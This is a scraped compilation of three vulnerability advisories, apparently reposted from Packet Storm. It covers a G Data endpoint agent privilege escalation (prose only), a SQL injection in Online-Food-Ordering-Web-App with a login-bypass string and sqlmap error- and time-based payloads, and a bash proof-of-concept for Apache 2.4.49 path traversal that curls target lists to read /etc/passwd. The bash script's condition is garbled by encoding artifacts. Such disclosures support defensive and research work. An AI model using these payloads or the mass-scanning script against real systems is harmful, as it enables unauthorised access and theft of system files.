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G Data EndpointProtection Enterprise 17.08.2021 Privilege Escalation

https://4.bp.blogspot.com/-42b-8Yu8ql4/WWlvfoDuyhI/AAAAAAAAIQE/GMGQD7Uo7DMncRccI_LNcWgfvYRkd0zwQCLcBGAs/s1600/h86.png
G Data EndpointProtection Enterprise version 17.08.2021 suffers from a privilege escalation vulnerability.

MD5 | b7c6e369ca821f7e8d7aaa6fbda494ee

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DATA Anti-Virus: Abusing OpenSSL to get local admin

Metadata
===================================================
Release Date: 05-Oct-2021
Author: Florian Bogner @ https://bee-itsecurity.at
Affected product: G Data’s Security Client “EndpointProtection Enterprise”
Fixed in: all versions after 17.08.2021
Tested on: Windows 10 x64 fully patched
URL: https://bogner.sh/2021/10/g-data-anti-virus-abusing-openssl-to-get-local-admin/
Vulnerability Status: Fixed with new release

Product Description
===================================================
The most sensitive areas of your systems are your employees’ workstations. Where attachments are opened, passwords are entered, and sensitive data is processed. The servers that make connections across the entire network. And smartphones that come and go with your employees every day. This is precisely where our endpoint security solutions protect your company assets. [https://www.gdata-software.com/business/endpoint-security]

Vulnerability Description
===================================================
The underlying problem was, that the GdAgentSrv (which is running as SYSTEM) tried to load its OpenSSL configuration from the non-existing path C:\Jenkins\vcpkg-master\packages\openssl-windows_x86-141-static\openssl.cnf (newer versions load from C:\Jenkins\vcpkg-master\packages\openssl-windows_x86-static\openssl.cnf). This can be abused by any local user to load arbitrary libraries (DLLs) and execute untrusted code in the affected process. This leads to a privilege escalation from non-admin user to SYSTEM.

For more information please visit: https://bogner.sh/2021/10/g-data-anti-virus-abusing-openssl-to-get-local-admin/

Suggested Solution
===================================================
Users should update to the latest available version.

Disclosure Timeline
===================================================
10.10.2019: The issue has been identified, documented and reported (ticket number CAS-730826-F7K4R9). No reply received.
11.2020: The issue was communicated again to G Data’s Sales Team in Austria. After initial communication no further feedback.
06.2021: The issues was abused during a security check to overtake another client’s infrastructure.
14.06.2021: G DATA confirms the vulnerability. Public disclosure is planed for 15th September 2021
17.08.2021: Fixed version is released to the public
05.10.2021: Public disclosure

___________

Florian Bogner
Information Security Expert, Speaker

Bee IT Security Consulting GmbH
Nibelungenstraße 37
3123 A-Schweinern

Tel: +43 660 123 9 454
Mail: florian.bogner@bee-itsecurity.at
Web: https://www.bee-itsecurity.at

Source:packetstormsecurity.com

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Online-Food-Ordering-Web-App SQL Injection

https://1.bp.blogspot.com/-HlvbbOwsdTc/WWlvV_wSsQI/AAAAAAAAIOA/psrlTyexNtUDdre2JEY7YvqsGP1V8LJKQCLcBGAs/s1600/h47.png
Online-Food-Ordering-Web-App suffers from a remote SQL injection vulnerability that allows for authentication bypass.

MD5 | 2e3935af30a88b048926ba5e206dad5a

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CVE-2021-41647 SQL Injection in Online-Food-Ordering-Web-App

The Online-Food-Ordering-Web-App is vulnerable to un-authenticated error and time-based blind SQL Injection attacks. The username parameter on the /login.php page does not sanitize the user input, an attacker is able to bypass the login using a simple bypass technique.
Link To Application

Online-Food-Ordering-Web-App
Affected Components & Parameter

URL: /login.php
PARAMETER: username
POC'S
LOGIN BYPASS PAYLOAD

To bypass the user login and gain full administrative access, payload in the username input field: user' or 1=1-- -
SQLMAP PAYLOADS

Parameter: username (POST Request) Type: error-based Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)
Payload: username=test'||(SELECT 0x6d65686d WHERE 8694=8694 AND (SELECT 8639 FROM(SELECT COUNT(*),CONCAT(0x71626a7a71,(SELECT (ELT(8639=8639,1))),0x71766a7171,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a))||'&password=asdfasdrf

Type: time-based blind Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload: username=test'||(SELECT 0x6d6d6367 WHERE 7580=7580 AND (SELECT 4416 FROM (SELECT(SLEEP(5)))nUhT))||'&password=asdfasdrf
Discovered by

Jason Colyvas
MOBIUSBINARY
September 20th, 2021

Source:packetstormsecurity.com

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Apache HTTP Server 2.4.49 Path Traversal

https://2.bp.blogspot.com/-QZ2Sf2sxziM/WWlvZhEG73I/AAAAAAAAIO0/d0s8s4TXkHwnfXzbpubNEBqDxa568NQgwCLcBGAs/s1600/h60.png
Apache HTTP Server version 2.4.49 suffers from a path traversal vulnerability.

MD5 | 1f8f44361142a2acbf7b9f53b654f29a

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# Exploit Title: Apache HTTP Server 2.4.49 - Path Traversal
# Date: 10/05/2021
# Exploit Author: Lucas Souza https://lsass.io
# Vendor Homepage: https://apache.org/
# Version: 2.4.49
# Tested on: 2.4.49
# CVE : CVE-2021-41773
# Credits: Ash Daulton and the cPanel Security Team

#!/bin/bash

if [[ $1 =3D=3D '' ]]; [[ $2 =3D=3D '' ]]; then
echo Set [TAGET-LIST.TXT] [PATH]
echo ./PoC.sh targets.txt /etc/passwd
exit
fi
for host in $(cat $1); do
curl --silent --path-as-is --insecure "$host/cgi-bin/.%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e$2"; done

Source:packetstormsecurity.com

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